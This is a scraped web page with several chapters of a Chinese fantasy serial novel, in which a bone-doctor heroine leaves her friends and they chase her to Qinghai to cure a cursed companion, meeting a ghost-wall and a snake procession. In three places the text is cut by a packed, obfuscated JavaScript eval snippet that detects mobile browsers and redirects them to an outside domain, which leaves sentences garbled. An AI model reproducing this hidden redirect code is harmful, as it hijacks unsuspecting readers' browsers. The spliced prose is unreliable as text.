“叔叔阿姨告诉你爷爷要去世的时候,你心里是怎么想的?” “你和我不一样,小诚、径霜还有洪钟,你们和我不一样。你们有家人,有你们爱的人和爱你们的人在家里等着,就算你无惧生死,那你死了以后呢?他们怎么办?人不能,至少不应该这么不负责任。现在阿姨找不到你,还能来小院,那以后呢?你想让他们去哪找你?” “你对爱你的人也挺决绝的。” 这句话出乎姜泠意料,她知道面对着的人下一句要说什么,她也知道有些话一旦出口,一些事情就无法回到既定轨道上了。 她打断他,态度坚决:“没心的人,没有牵挂,也用不着别人挂念。现在就是抽身而退最好的时候,没有讨价还价的余地。” “你也太不近人情了!”卫斯诚偷听了半天,终于忍不住了,他从门后探出头道,“姐,有什么事都好商量,别把话说太绝!” “就是嘛!大家一个战壕里待了这么久,你说不让我们去就不让我们去,小姜啊!这已经不是独裁专制了,这简直可以说得上是卸磨杀驴嘛! 姜泠不说话,她深知自己师弟的性格有多犟,再加上有洪钟在一旁起哄,看凌岓的样子也不是一时半会儿能说通的。于是她打定主意,决定先留个转圜的余地: “我想想吧。你先回去看看叔叔阿姨,如果他们同意,这事还能再商量。”姜泠又转向围观的两人,温声道,“你们也回去休息吧,容我考虑一下,明天给你们确定的答复。” “一言为定!”卫斯诚伸出手,只觉得这是一次民主决定的胜利。 “一言为定。”姜泠摸了摸他的头,轻轻叹了口气,“我送你回去吧。” “我一个大男人,难道还能碰见什么危险吗?”男人本想回绝,但一转念又说,“不过也好,我们还能多聊一聊。” 月沉如水,几场冷雨落下,打湿一地桂花。禾城是座没有夜生活的城市,刚过八点,街上已经没多少散步闲逛的人了。加完晚班的年轻人踩着共享单车等在红绿灯前,脸上眼里尽是疲倦。 “上一次跟你这么闲逛,好像还是在去芝则之前。”凌岓看着两个人被路灯拉长的影子,心里有点躁动。 “嗯。路没走完就被小诚叫到他家围观密室了。” “时间过得真的很快,总觉得还没做什么,就又过去了两个多月。” “所以说,也该休息休息了。”姜泠欲言又止,把到嘴边的话咽了下去,转而问道,“我跟你讲过许多关于我的事,你呢?你以前是什么样的?” “我?我以前应该是个标准的峨眉山猴子……” 两个人慢慢走着,有一搭没一搭地聊着,说过了各自的童年,也说过了各自的成长历程。经历过的事情点点滴滴用言语汇集起来,让彼此都觉得眼前人更加有趣了。时间的路比现实的路更长,不知不觉间,已经走到了凌岓家门口。 姜泠想先开口告别,谁知被另一人打断了。 “凌岓!真是你啊!” 两人不约而同顺着声音看去,来者是个年轻时尚的姑娘。在浓浓夜色里,不开口的确很难找到这姑娘——她穿着黑夹克和黑裤黑靴,与凌岓在巴那的一身打扮很有几分相似。 “你是…陈青云?” “你才认出来啊!”姑娘一把搂住凌岓的肩膀,“好歹也是青梅竹马的交情,小时候可还有过婚约的,你居然现在才把我认出来,太不够意思了!” “那都什么时候的事了…无知时候过家家的事情不用多提。” 凌岓想把肩膀上那只手挪开,但偏偏对方丝毫没有放手的意思。他往另一个人身上瞟,心里祈祷着千万别有什么乱七八糟的误会。 怕什么来什么,陈青云挽住凌岓一支胳膊,十分亲昵,“你就不想问问我为什么在这里?” 凌岓想抽手,但胳膊被死死箍住了。他心想,谁想知道你来干嘛;嘴里却不得不出于礼貌附和一句,“为什么?” “为了你呀。”说到这儿,陈青云似乎才发现他们身旁还有一个很久都没说话的人站着,她问,“这位是?你对象?” “不是。”姜泠迅速否认,“朋友。” “哦,那太好了!说不定过阵儿喝喜酒的时候还能见到你,认识一下,我叫陈青云,青云之志的青云。” “姜泠。” “你等会儿,喝喜酒?喝谁的喜酒?”凌岓总算把自己的胳膊抽出来了,他连退好几步,生怕再和所谓的“青梅”有别的接触。 “我们俩的。” 陈青云往前去,她要拉的人往后退。何槿颐就在这个时候走出门,刚好看见这一幕,“干嘛呢你俩?这么晚了有什么话不能回家说?” “我回家,她家又不在这儿!” “青云是我请来的,你说她回谁家?”何教授刚想抱起胳膊,又看到了姜泠,她立马换上一脸温柔问,“你是我们家凌岓的朋友吗?一起进来坐坐吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867814|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不了不了,谢谢阿姨。”被点到的人微微欠了欠身,礼貌回答,“时候不早了,我也该回去了,阿姨再见。” “你等会儿…” “好好过自己的生活,人不能天天冒险。”姜泠和追上来的男人拉开距离,“如果以后有机会,我来喝你的喜酒。” 凌岓想拦住她的去路,可何槿颐和陈青云一左一右把他生生拽回了家。 相处的时间久了,凌岓越想越觉得不对劲,他第一次这么不顾别人的感受,只管追出去把话都说清楚。一直追到小区门口他都没见到姜泠的影子,此刻想不了太多,他拦了辆车就往医馆走。 次日一早,卫斯诚买早餐,一出门就看见凌岓坐在门口。他把人拍醒,一脸惊讶地问,“哥,你坐这儿干嘛?” “你姐呢?”刚被叫醒的人揉揉眼睛,直奔主题。 “还睡着呢吧。你…你不会在这儿坐了一晚上吧?” “嗯。” “啊?”卫斯诚瞪大了眼睛,怀疑对方是不是脑子有问题,“为什么不进去?敲个门的事儿,你这是干嘛?” “昨天有些话还没想好怎么说,现在想好了,能进去了。” “行吧,你先进去喝口热水,我去叫我姐。” 手机上十几个未接来电,趁着卫斯诚去喊姜泠的功夫,凌岓把电话回拨过去。出乎意料的是,电话那边的何槿颐丝毫没有生气。 “愿意接电话了?” “妈,我…” “不用解释,你妈也年轻过,明白你的意思。”何教授温柔道,“人要学会把握机会,既然都追出去了,那就要把自己想说的话跟人家说清楚。青云这里我招呼着,你不用操心,但事情办完以后要回来跟人家道个歉。” “谢谢妈…” “完了完了完了!出大事了!出大事了!”——这边电话刚挂断,卫斯诚就慌慌张张从小院里跑出来了,连带着洪钟都被吵醒了。 “大清早的,你喊嘛呢?” “我姐,我姐不在!” “我还以为什么大事儿呢!估计是出去吃饭了吧。”洪钟不以为然。 “不是,她昨天晚上好像就没回家!” “你说什么?”在门口蹲了一夜的人这下才真真正正清醒了,他向卫斯诚确认道,“你确定吗?” “确定啊!她房间里所有东西都原模原样摆在那儿呢!” 电话关机,对话框里一条消息都没有——谁都联系不到她。 “伙计们,这儿有张字条。”一屋三人,现在只有洪钟最冷静。他一眼瞥到昨晚没来得及放回去的大铁箱子,发现下面似乎压着什么东西。 凌岓的感觉没出错,他昨晚隐约觉得姜泠说还有商量的余地是缓兵之计,但出于对她的信任,再加上半路杀出的陈青云,他后来也没深想。等洪钟念完信,他只剩下后悔。 信很长,但表露感情的内容不多,大多是姜泠给卫斯诚交代的一些医馆和家里的事,事无巨细,表述得严谨又正式,很符合她的做事风格。信的结尾,她把昨晚和凌岓说过的话又复述了一遍——让大家过好自己的日子,不必费劲找她。 “小凌子,这个好像是给你的。诶?我也有一朵。”洪钟从信封里找到一朵梅花,看起来像是刚从树上摘下来的,他有些摸不着头脑,自顾自地问,“现在有哪儿的梅花开了吗?” 梅花是离开宝济寺前,不空老道赠予姜泠的,除了梅花,还有一片银杏。千年梅树不出世,它树上的梅花不沾染尘气,能保护人百病不侵,老梅树那时觉得这小姑娘很有趣,便慷慨赠下一整支给她。而不空混迹人间多年,他的银杏叶则能让人在绝路时有一次转危为安的机会。 梅花一共五朵,姜泠把其中四朵分别留给了卫斯诚、凌岓、洪钟和沈径霜,最后一朵和银杏叶一起被她带在身上,以备不时之需。 卫斯诚向洪钟解释了梅花的用处,后者连连感慨骨医重情重义。 凌岓下定决心要找到姜泠,恰在此时,另一个必须找到骨医的原因也出现了——老郑打来电话,说之胖突发怪病,跑了好几家医院都没说出个所以然,现在只怕人快不行了。 80. 第八十章 怪病 事情还得从湔山说起。之胖在骨洞被抓伤后,尽管姜泠已经为他除去了毒素,可伤口处总会时不时觉得奇痒无比。他不得已找了洪钟,说书人为他寻了点药,这才好了一点。 奇痒没再发作,上臂的伤口处却留下一块不大不小的青斑。之胖从来不在意好不好看,何况生活也并没有因此受到什么影响,所以他起初对青斑并不甚在意。 大约是从凌岓他们去衡阳的那两天开始,青斑有了变化。头两天,之胖只是觉得自己浑身使不上劲,还有些发着低烧,他以为是自己感冒了,吃了两颗药后不见好转,又去了社区诊所挂水,然而依旧不见效果。 到了第六天,低烧总算退了,人也慢慢有了精神,之胖本以为这是痊愈的征兆,哪想到这竟然是回光返照的迹象。白天的时候,人还能轻轻松松来回扛好几趟重物不带喘气的;可到了晚上,上臂处开始出现割肉削骨般的疼痛。 之胖并不是矫情的人,平时走南闯北也不是没受过比在骨洞更严重的伤,他从来都是能扛则扛,扛不过去才去医院。但不管怎么难受,他也从来没哼哼唧唧过。 这一次不同,疼痛从青斑处开始蔓延,痛感从整条胳膊爬到全身的每个角落。两片止疼药下去,一点作用不起,之胖都还没意识到问题的严重性。 直到胳膊如同被人用锯子来回拉扯的感觉不断扰动神经,让人难以入睡时,他才想到求助。找到手机以后,他的视线已经有点模糊了,神志也不大清醒,以至于最后电话没能拨到医院,而是拨给了最近一个联系人,老郑。 郑九斤火急火燎赶来,费了九牛二虎之力才找人把之胖家门撬开。他一进门就看见之胖半瘫在沙发边上,双手垂地,面色惨白,嘴唇上一点血色都没有。 老郑吓得半死,赶紧把人送到了市医院。医生摇摇头从急诊室出来,告诉老郑他也不清楚这到底是什么病,建议他们先转院。于是之胖又从市医院转到省级三甲,结果却没有任何实质性的改变。 老郑几经打听才知道之胖几个月前找过洪钟,继而又想到这病有可能不是寻常医生能解决的,于是立马打电话联系凌岓,希望他能带洪钟过来看一看。 凌岓不仅带来了洪钟,还带来了背着古籍的卫斯诚。事态紧急,洪钟在路上就把之胖的病和他说了个大概,卫斯诚一听,当即表示有办法,但说来说去还是绕不开一个人——骨医姜泠。 “也就是说,不是中毒,是下蛊?”凌岓问。 “不是下蛊,但原理差不多。”洪钟想了想,又说,“我曾经想深挖一下这个传说来着,但是有关的记载不多,现有的内容只说这是一种古代少数民族的巫术。我当时也是本着死马当成活马医的态度找了药,没想到真的有用!” “对哦,说起这个,胖哥有没有再试试老洪给的药?” “老郑说试过了,没用。”凌岓心里着急,既想之胖赶紧好起来,又想尽快找到姜泠,他问卫斯诚,“你刚才说,你姐姐能治这病?” “理论上应该能。如果老洪的判断没错,那我姐应该有办法。当然了,前提是能找到她。” 三人敲门时,老郑正急得团团转——前两天他还能给之胖喂点水,到今天,已经连水都咽不下去了。开门见是凌岓,老郑一把就抱住了他,嘴里还不停念叨着“总算来了,总算来了”。 在来的路上,众人做好了各种心理准备,可现在一看到床上躺着的人,还是猛猛吃了一惊——原来那个结实爱笑的胖男人瘦得只剩皮包骨头,他的面色不再红润,嘴角下垂,眼窝深陷,难怪老郑会担心他快要不行了。 “这哪还是之胖啊,这分明就是之瘦嘛!”洪钟这句玩笑开得实在让人难受,卫斯诚站在旁边也不知该说些什么好。 “大师,他之前也找过您,到底怎么回事您知道吗?还有什么办法吗?” 老郑讲义气,而且又和之胖认识的早,两人交情颇深,他不忍心看着老友就这么走向死亡。自从知道老友曾找过的说书人和凌岓一起来以后,他心里又有了莫名其妙的希望。 “我只知道这是一种类似于下蛊一样的巫术,当时的苗药也是误打误撞起效的,更具体的我也…无能为力了。”说书人乐呵了大半辈子,第一次感到如此无力过,他低着头小声说,“要是小姜在就好了,她说不定会有办法。” “谁?”老郑没听清具体的人,但听清了最后的“会有办法”四个字。 “小姜,就那个挺厉害的姑娘。” “她有办法,那她人呢?老郑看见卫斯诚,心下生疑,“我记得你是小姜姑娘的弟弟,你们怎么没一起来?” 卫斯诚低下头不说话,活像被爸妈再次抛弃的可怜孩子,他心里多少有点责怪某位不告而别的人。 “她…她失踪了。”凌岓说。 “失踪?上次不是找着了吗?”老郑猛然想起上次凌岓托他找人的事,更是一头雾水,“怎么?又?” “哎呀不是失踪,她是不想让我们卷进坏事里!”洪钟说得直白,“只要能找到她,胖娃大概率就有救。” “找人啊,那早说嘛!”老郑了然,把手里端了许久的水杯塞给凌岓,摆出一副蓄势待发的姿态,“有没有关于她可能会去哪儿的线索?有最好,实在没有也能凑合查。” “青海,她说胫骨在青海。”凌岓即答。 “青海哪儿?” “她没说。” “那也行吧。”老郑又问卫斯诚,“你是她家人,知道她的身份信息吗?” “有有有,你这么一说我想起来了,我之前给我姐订过票,现在应该也能查到票务信息啊!”、 “那太好了,你跟我进来。” 有段时间,凌岓他们总笑称老郑是挑夫行当的“行业之星”,原因无他,就是因为老郑给信息从来精准且高效,这次也不例外。 老郑鼓捣了一阵子,出来以后只有一句话,“走,我们先买今天的票去西宁,然后从西宁出发去玉树。” “小姜在玉树?”洪钟问。 “对。她买了明天的票去玉树。” “那我们得抓紧,万一玉树不是她的最终目的地,再错过又要耽误时间了。”凌岓很快作出安排,“老规矩,老郑负责找人联系装备,我负责安排交通,一定要把老之平安带到青海。” 郑九斤本想问为什么不能让姜泠回来,但看另外两人没提出任何异议,他也就猜到了大约是有什么不可言说的难处。老郑帮凌岓收拾完之胖在路上可能用到的行李,然后想到了另外一件重要的事。 “我们要不要给他父母打个电话告知一下?”这件事情在老郑心里纠结了很久,到现在他也没做好决定。 “你一直都没说?”凌岓有点意外。 “没说。送医院的时候还没到要手术签字的地步,带回来以后我又总觉得他还有办法好,何况你又不是不知道他家的情况,我怕说了会捅篓子。” 之胖家的条件算不上很好,父母都是干体力活的,尽管如此,对于这个四十岁才有的儿子,夫妻俩可以称得上是百依百顺,尽全力给他提供支持。 之子丹自己也争气,早早就有了赚钱的手艺。他还是个很孝顺的孩子,故而平时有个小灾小病的,他从来不跟父母说,就怕操劳了一辈子的夫妻俩担惊受怕然后承受不了。现在人变成了这副模样,别说老郑,就连凌岓也在犹豫要不要告诉他的父母。 “先等等吧,等到了青海,找到姜泠再说。”思来想去,凌岓还是觉得先瞒着比较好。 沉吟片刻,老郑也欣然同意。 四个人分由两路行进,以卫斯诚和洪钟为一组的从机场出发,为的是保证在最短的时间内找到姜泠;另一组由凌岓、老郑和陈青云组成,他们从高速出发,为的是保证之胖平安无事地到达青海。 凌岓本不打算带上陈青云的。可她说她也是正经主治大夫出身,在路上说不定能帮忙照顾病人。再加上时间紧事态急,有水平有空闲的大夫一时半会也不能到位,他这才同意带上自己的发小。 花高价聘请的三位司机轮流开车,一路上倒也走得顺利。自卫斯诚二人的飞机起飞以后,凌岓总有些心神不宁——姜泠的电话依旧关机,也不知等他们到西宁的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876172|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能不能及时找到并拦住她。 一转眼又到了傍晚,算时间飞机已经落地有一阵了,凌岓犹豫了半天想打电话,另一组的电话却已经先他一步拨了进来。 “小凌子,我们到啦!除了略微缺氧以外哪里都好,放心!” “到了就好,吃饭了吗?” “还没有,小卫才出门去买呢!话又说回来了,这小姜住的是什么鬼地方呐!前不着村后不着店的,没有外卖,没有超市…别说外卖,连小卖铺都没有!” “你们见到她了吗?”对于电话那头的抱怨,凌岓充耳不闻,他现在只想听到关于某个人的消息,哪怕只有一点也行。 “小姜?”说到这儿,洪钟又沮丧起来,“没见到啊!问了前台大姐,说她早上背着包出去了,既没说去哪,也没说是不是退房,唉!态度还很恶劣…” 正说着,躺在担架床上的之胖抽搐了一下,凌岓更是心乱如麻。他又随便嘱咐了两句注意安全的话,忙忙挂断了电话。 “没事,就是正常的肌肉反应,别担心。” 这一路上,陈青云都不怎么说话,难得开一次口,还如此稳重冷静,仿佛和那晚的人不是同一个。她每隔一段时间就会看看之胖的情况,专业性十足,也尽心尽力。不说别人,老郑是从心底里欣赏这个姑娘。 “你们说的医生找到了吗?”同样作为医生,陈青云和沈径霜、姜泠在性格上都不一样,可对病人负责任的态度总是不变的。 “还没有,他们刚到招待所住下。” “不是我对她有意见,只是这位姜姑娘实在是有点不负责任。这才找到她多长时间?玩失踪还玩上瘾了。”老郑抽了口烟,缓缓开口,“那时候在湔山,我就看出来她傲得很,但傲也不能这么个做法,她真是…” “话也不能这么说,可能人家真有什么难言之隐呢?”陈青云替仅有一面之缘的姑娘说话,“人都有急事嘛,大家都相互理解一点。” 烟头上的火星明灭,烟灰被用力碾碎在车载烟灰缸中,老郑不再说话了。 话说姜泠住的这家招待所实在过于偏僻——卫斯诚在外面绕了一大圈,只买回来两桶香菇炖鸡面。前台的中年大姐早早裹着棉衣休息去了,对于客人的需求,她不想费太多心思。 “凑合吃吧,你看那大姐有搭理咱俩的意思吗?”卫斯诚很无语,不止对这家旅馆,更对前台大姐无语。 “这壶是个坏的。”洪钟说,“我已经试过了,水是烧不开的,壶是漏的,合着咱今晚得干啃了…”—— 话没说完,有人敲门。卫斯诚打开门一看,走廊里空无一人,门口却放着一个暖瓶。 “哪位活菩萨显灵了?”洪钟把暖瓶拎进去,也觉得奇怪。 “老洪,老洪!” “咋?” “你看,这人还给我们送了热乎的盒饭。”—— 一提塑料袋,里面装着六个泡沫饭盒,这让洪钟又把暖壶提回来了。 “不会是谁放错了吧?” “那必然不能!”卫斯诚从塑料袋里翻出一张纸条,“诺——上面写了,二楼,203门口。” “活菩萨显灵啊。” 回到屋里,洪钟打开饭盒一看,有炖排骨、白菜炖豆腐和西红柿炒鸡蛋,饭还冒着腾腾的热气,在寒冷的夜里让两人觉得无比暖和。 “你说,谁这么好心,看我俩可怜还给我们送饭?” “不知道。”卫斯诚正在狼吞虎咽,然后一滞,“不会是我姐吧?” “不会吧。”说书人也一愣,“那前台大姐不是说小姜出去到现在都还没回来嘛!” “不行,我得去看看!” “你你你…饭吃完再去啊!”洪钟又往嘴里塞了一块豆腐,然后跟着跑下楼去。 前台站着一个背着双肩包的背影,这个身影对卫斯诚而言再熟悉不过了。 “姐姐?”他喊了一声,背影慢慢转过来。 “每次都是这样,我说话你从来不听,永远只按照你自己的想法来。”姜泠叹了口气,“何必非要追过来挨饿受冻?” 81. 第八十一章 鬼打墙 得知卫斯诚与姜泠汇合的消息已经是深夜了,发消息的人没睡,等消息的人也没睡。对话框里的内容也很简单,只有一句话: 我们已经和姐姐汇合,她说之胖有救。 凌岓松了口气,悬着的心有半颗落进肚子里,另外半颗则是忐忑的——他得想一想见到对方要说什么,怎么说。 好在这个难题没有困扰他很久,一到目的地,姜泠主动避免了发生尴尬的可能性。 “先把他送到房间里吧。”她站在上了年头的招待所门口,只想着之胖的伤势,对陈青云下车时刻意勾向竹马的那只手视而不见。 “怎么治?” 老郑想抽烟,却听见前台大姐怒喝一声:“本店禁烟!” 自知理亏,老郑悻悻把烟收起来,又问了第二遍,“怎么治?需要我们帮忙吗?” “不需要。”——之胖被卫斯诚和洪钟抬进了房间,整个过程中,姜泠既没和凌岓有任何沟通,也没有半分眼神接触。 门被关上了,其他人在走廊里蹲着,丝毫没有离开的意思。陈青云上楼,把房卡递给老郑,“你和凌岓一间,这是房卡,收好了。” 老郑是典型的吃软不吃硬,对比宛如冰山一座的姜泠,还是性格开朗大大方方的陈青云更招人喜欢。 “大家都别跟这儿杵着了,先找地方吃点东西吧。这里一到晚上啥也没有,趁现在天还亮着,赶紧先填饱肚子要紧。人有劲儿才好办事儿嘛!” 洪钟说得有理,卫斯诚也频频点头表示赞同。姜泠把这附近的地标告诉给他后,他很快就记住了,现在刚好有个机会让他成为这些初来乍到之人的“导游”。 来的时候就没吃什么东西,现在被洪钟这么一提醒,老郑的肚子咕咕直叫。他看了一眼紧闭着的房门,决定先去吃口热乎饭再说。凌岓不想走,最后还是被半拖半拉拽走了。 这里地处偏僻,原有的村落多数都整村搬迁到更方便的地方去了。原本招待所老板也是打算跑路的,但一来,有几个常年往返此地要住宿的老顾客不答应;二来前几年暑期,旅游时途经这里的散客也不算少,收益还不错,老板就姑且留下了这座招待所。 招待所里只供应一碗稀粥作为早餐,午饭和晚饭则需要客人们自己解决。老主顾们早知道这种习惯,都自备干粮;旅游的人也大多只是歇歇脚,从不在招待所里吃饭。于是既非旅游也没自备吃食的人就有些倒霉了。 附近没有饭店,只有几个不想随村搬迁的零散农户。要吃饭,就得走到农户家里去。 此处的海拔比禾城高得多,刚来的时候,陈青云觉得晕晕乎乎有点缺氧。加上现在已是深秋,西北的气温大跳水,走了一段路把她冻得直哆嗦。 老郑独来独往惯了,他又从来觉得自己粗糙,所以不好意思把自己的外套脱下来给别人穿着。一行三人里,卫斯诚和陈青云不熟,一路走来甚至都没问对方的名字,这个“绅士”的任务自然而然只能由凌岓来承担。 披上带着体温的外套,陈青云才活跃过来。不用照顾之胖这个病人,她又可以开始叽叽喳喳给大家讲述她和凌岓小时候的事了。 讲着讲着,走在最前面的卫斯诚突然停了下来。 “怎么了?”老郑紧随其后停下脚步,看着渐暗的天色问,“怎么不走了?” “路不对。” “怎么不对?” “早上我姐带着我走的时候不是这样的。”卫斯诚一脸严肃地看向前方三个岔路口,一字一句道,“我们好像是遇到鬼打墙了。” “鬼打墙?”老郑和陈青云异口同声惊问。 “对,鬼打墙。这条路是去老乡家的另一条路,但是从这儿走会很远,所以我就带你们走了一条更近的小道。从刚刚开始我就发现不对了,但怎么走都还是会偏离原定路线,如果问为什么的话,那只有鬼打墙这一个解释。” 寒风起,太阳又往下沉了沉,眼见着就要天黑了,尽快找回原路才是唯一的办法。就在此时,陈青云突然尖叫了一声,把剩下的人吓出一身冷汗。 “你叫什么?”卫斯诚半天没找出引起姑娘尖叫的原因,心里多少有点不爽。 “有…有东西拽我。”陈青云死死抓紧凌岓的胳膊,结结巴巴地回答着。 “哪有东西?” “什么人!”没等卫斯诚问完,老郑又大喝一声。 “看见什么了?”凌岓把陈青云护在他和卫斯诚中间,警觉地环顾四周。 “刚刚有个人影闪过去了,看身形像是个小孩。”老郑绷着身体,有点紧张。 “小朋友,踢皮球,一脚两脚踢断头。”说话的声音不男不女,更不属于四人中的任何一人。 在凌岓和老郑还在疑惑时,卫斯诚却只觉得自己头皮发麻,汗毛直立——这句话他听过——在陷落古城的望月楼里,那个半人半骨的怪物曾说出过一模一样的话。 “远游郎,人未亡,迎过满月盼断肠。” 四周空无一人,那声音却又一次响起来了。卫斯诚手心里全是汗,现在后半句也对上了,真要遇上望月楼里攻击力超强的“变异生物”,手无寸铁的四个人说不定全都要完蛋。 “凌岓…我有点害怕。”陈青云从小娇生惯养长大,哪里遇到过这种场面,她哆哆嗦嗦往竹马身边凑,眼泪都要掉下来了。 “别怕,我们都在这儿。”事到如今,凌岓也只好安慰她。 “是什么妖魔鬼怪赶紧现身,藏着掖着算什么本事!”周围越来越暗,老郑壮着胆子大喊。 尘土四起,有脚步声传来。就在脚步即将临近时,有什么东西划开了这种诡异气氛。 “跟我走吧。”—— 姜泠站在尘土之中,面无表情。她手里攥着长鞭,眼神里全是冷漠。 “姐?你怎么来了?” “之胖没事了,洪钟正在照顾他。我怕你们迷路,所以过来看看。”来人又回到了那副生人勿近的样子,却只用两句话就把眼前几个人担心的事说完了。 “我们是不是遇到了鬼打墙?”卫斯诚刨根问底,“刚刚还有鬼叫声,叫的内容我以前听过,是望月楼里的鬼。” 姜泠几不可察地皱了皱眉,但没对此作出任何解释。她目不斜视看向前方——岔路口已经消失不见了,现在眼前只有一条路,一条通往老乡家里的路。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894361|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “跟我走吧。”她说,“姑娘走在你们中间,跟好了,别掉队。” 毫无疑问,她说的“姑娘”只可能是陈青云。被点到的人也很自觉,老老实实跟在卫斯诚后面,队伍最后则由老郑和凌岓两个人并排压阵。 前一晚上的热饭是零散户中的一位老乡做的。老乡上了年纪,耳朵也有些背,说起话来嗓门虽大,却有一颗十分热情的心。 有赖于姜泠的未雨绸缪和给钱时的慷慨,老乡一早就做好了今天有新客人造访的准备。他忙活了大半个下午,总算在太阳彻底落山时等到了人。 锅里炖着刚杀的鸡,灶上的白菜正咕嘟咕嘟冒着夹杂香味的热气。老乡打开门,招呼着风尘仆仆的五个人坐下,又到厨房把鸡肉垫卷子端了出来,然后就蹲到一边抽烟去了。 尊老爱幼是中华民族的传统美德,卫斯诚当然不能心安理得地坐在那儿吃,然后看着老乡孤零零蹲在一旁。 “大叔,一起吃呗。” “你说撒?” “我说我们,您和我们,一起吃饭!” 声音提高了八度,说话的人甚至还用手比划着动作,可老乡依旧没听清:“说撒?吃撒?” “你去吃饭吧,我来跟他说。”姜泠走过来拍了拍师弟的肩膀,冲他使了个眼色。卫斯诚了然,坐回了自己的位置。 虽说农户的矮平房已经有几十岁了,可还是很适合住人,丝毫没有走风漏气的破败象。 也不知是屋子的原因还是吃了饭的原因,陈青云没过多久就不觉得冷了,她把外套脱下来抱在怀里,眼睛瞟往里屋的方向问,“姜姐姐去做什么了?和一个老大爷能有什么事还得关起门来说?” “看来你是饱过头了,要是吃撑了就出去走走。”凌岓冷不丁冒出来这么一句,把身边人还想说的话噎了回去。 “我又没有别的意思,就是单纯想问一下。你那么凶干嘛?”没等陈青云再继续说下去,老农民和姜泠便一起出来了。 姜泠递过来三条红绳,认真叮嘱道,“一人一条戴在手上,一直到回去之前都别摘。” “这是什么?”毕竟刚才受了姜泠的帮助,老郑现在说话的态度好了很多,他把红绳捏在手里,仿佛捏着什么邪物,“戴上总要有戴上的理由嘛。” “一言难尽,老老实实戴上就行了。吃完了我们就回去,天黑了,不宜在外面久留。” 联想到前不久的鬼打墙,老郑不说话了。他明白姜泠在某些科学无法探知的领域中有异于常人的能力,按照她说的话去做至少能保证自己的安全,再追问就不识时务了。 老乡吧嗒吧嗒抽着烟,从房间里出来以后他就一直不说话,眉毛间的沟壑中仿佛隐藏着什么不为人知的秘密。走的时候卫斯诚等人和他打招呼也没得到回应,他也没起身送客,就那么呆呆蹲在厨房的门坎上抽烟,像个雕塑。 今晚没有月亮,刚一出门,卫斯诚就被风卷起的沙子喂了一口“夜宵”。 凌岓打开随身带着的手电,却被眼前的景象惊了一跳——黄沙弥漫,肉眼根本看不到前面的路;风沙中影影绰绰走着些人影,他们步伐缓慢,却正慢慢朝自己逼近。 82. 第八十二章 蛇阵 呼啸的寒风中夹杂着粗糙的沙砾,刮得人脸生疼。风沙里的人影如同行动缓慢又没有脚的僵尸,一个一个、一步一步靠近老乡的房子。 “这…这些是什么?”陈青云听见自己的声音在发抖,里面是说不上来的害怕,“我们要不然还是先别回去了吧,等它们走了,或者等明天天亮了我们再走。” “有它们在,天永远不会亮。”姜泠攥紧了手里的武器,一脸凝重地嘱咐同伴们: “下面的话我只说一遍,你们一定要记住。如果一会儿有人拍你们的肩膀,千万别回头;听到有人喊名字,也千万别答应。等它们靠近以后,我们视情况而定。如果它们先动手,那我们再反击,不要主动招惹,更不要大声说话或者叫喊。明白了吗?” “明白。”众人已经意识到了事态严峻,提前压低声音为即将到来的恶战做准备。 等人影走近,现出原形,陈青云差点没忍住尖叫起来——眼前这些东西根本不是人,而是模仿人类直立游走的不知名蛇类,它们长相各异,看得人心里发怵。 离一行人最近的这条蛇身子粗似桶,身上还有两条人手一样的胳膊;它的头部像极了人脸,只有在吐着黑信子时才像条蛇。 人面蛇发出“嘶嘶”的声音,在最前面的姜泠身边绕了一圈,然后直奔其他人而去。蛇身蹭过人的皮肤,留下一片散发着奇怪臭味的粘腻液体,着实让人恶心不已。好在这条蛇没什么攻击性,在人身边挨个绕了一遍后就走了。 蛇群游过,多数也只是吐着舌头在人身边爬上一圈便继续前行了。人耐着性子站在空旷的大地上,动不敢动,连声音也不敢多发出一点。眼看着蛇群就要尽数经过时,出了意外。 起因是蛇群中的其中一条顺着陈青云的脚腕爬了上去,这条蛇长得比人面蛇好看一些,可也不能消解人心中的恐惧。 夜风太冷,本就吹得人直打寒颤。待蛇绕过她的脖颈,用细长的蛇信子在人耳边发出吐气声时,陈青云有些站立不住了。她祈祷脖子上的蛇快点走,可偏偏天不遂人愿,蛇凑近了她的脸。 倘若只是如此也尚且能忍。可谁想到,这蛇慢慢将人添了一口,然后扁起脖子,张大了嘴,将两颗獠牙对准陈青云细长的脖子准备咬下去。 常年在城市里的人很少见到蛇,能忍到现在已属实不易,再见到它张开血盆大嘴准备攻击自己的样子,陈青云连挪动一步的力气都没有了。她觉得自己全身的血液都凝固在了一起,喉咙发干,喊也喊不出来,最后索性紧闭双眼等待死亡降临。 说时迟那时快,长鞭破开沙土卷来,长蛇的脑袋当即便被拉向了另一边。陈青云睁眼,姜泠正在和大蛇对峙。 